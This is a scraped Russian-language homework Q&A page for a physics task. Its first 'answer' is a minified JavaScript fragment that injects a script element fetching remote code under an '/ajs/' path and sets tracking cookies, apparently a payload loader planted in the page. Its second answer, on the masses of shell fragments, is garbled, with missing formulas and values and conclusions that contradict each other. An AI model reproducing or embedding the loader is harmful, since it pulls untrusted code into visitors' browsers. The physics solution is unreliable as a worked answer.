Оценка реальности значения физической величины на основе экспериментальных данных. Задание 11

Показать ответ

Ответ:

lizniki82

23.02.2023 11:35

, {return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

0,0(0 оценок)

Ответ:

12575

27.11.2020 11:47

Раз осколки упали вблизи точки выстрела, значит при разрыве они не получили дополнительных горизонтальных скоростей.

Значит начальные скорости v_1

осколков с массами, соответственно: m_1

строго вертикальны.

Пусть «быстрый» осколок, тот что упал первым, это 1-ый осколок m_1

. И пусть второй осколок отличается от первого в

раз по массе, т.е. m_2 = k m_1

, тогда из закона сохранения импульса получим, что:

m_1 v_1 + m_2 v_2 = 0

;

;

;

– формула [1] ;

Считая положительным направлением – направление вниз, будем иметь ввиду, что:

v_1 0

, т.е. второй осколок полетит вверх, что логично ;

При падении с высоты наивысшего подъёма, квадрат скорости любого тела увеличится на квадрат начальной скорости снаряда, что следует из безвременнóй формулы:

$2 g H = v_o^2 = v_{11}^2 - v_1^2$ – формула [2] ,

где $v_{11}$ – конечная скорость первого «быстрого» осколка.

С другой стороны, известно, что она больше начальной скорости снаряда вдвое, т.е. $v_{11} = 2 v_o$ , тогда:

v_o^2 = ( 2 v_o ) ^2 - v_1^2

;

;

$v_1 = v_o \sqrt{3}$ – формула [3] ;

Поскоьку второй осколок упал через t_2 =

80 c после разрыва, то мы можем использовать этот факт:

$v_2 t + \frac{ g t^2 }{2} = H = \frac{ v_o^2 }{2g}$ – это следует из формулы [2] ;

$v_2 t = \frac{ v_o^2 }{2g} - \frac{ g t^2 }{2}$ ;

$v_2 = \frac{ v_o^2 }{2gt} - \frac{gt}{2}$ ;

Подставим это в формулу [1] и получим:

$-v_1/k = \frac{ v_o^2 }{2gt} - \frac{gt}{2}$ , отсюда:

$v_1/k = \frac{gt}{2} - \frac{ v_o^2 }{2gt}$ , отсюда с учётом формулы [3] :

$k = v_o \sqrt{3} / ( \frac{gt}{2} - \frac{ v_o^2 }{2gt} )$ ;

$k = \frac{ \sqrt{3} }{2} / ( \frac{gt}{v_o} - \frac{v_o}{gt} )$ ;

Но величина k – и есть искомое отношение масс. Осталось только вычислить его. Легко вычислить, что $k = \frac{1}{\sqrt{3}}$ ;

ответ:

* если считать, что g = 10 Н/кг – упавший первым осколок в $\sqrt{3}$ = 1.73 раз тяжелее упавшего последним.

** если считать, что g = 9.8 Н/кг – упавший первым осколок в 1.67 раз тяжелее упавшего последним.

0,0(0 оценок)

Популярные вопросы: Физика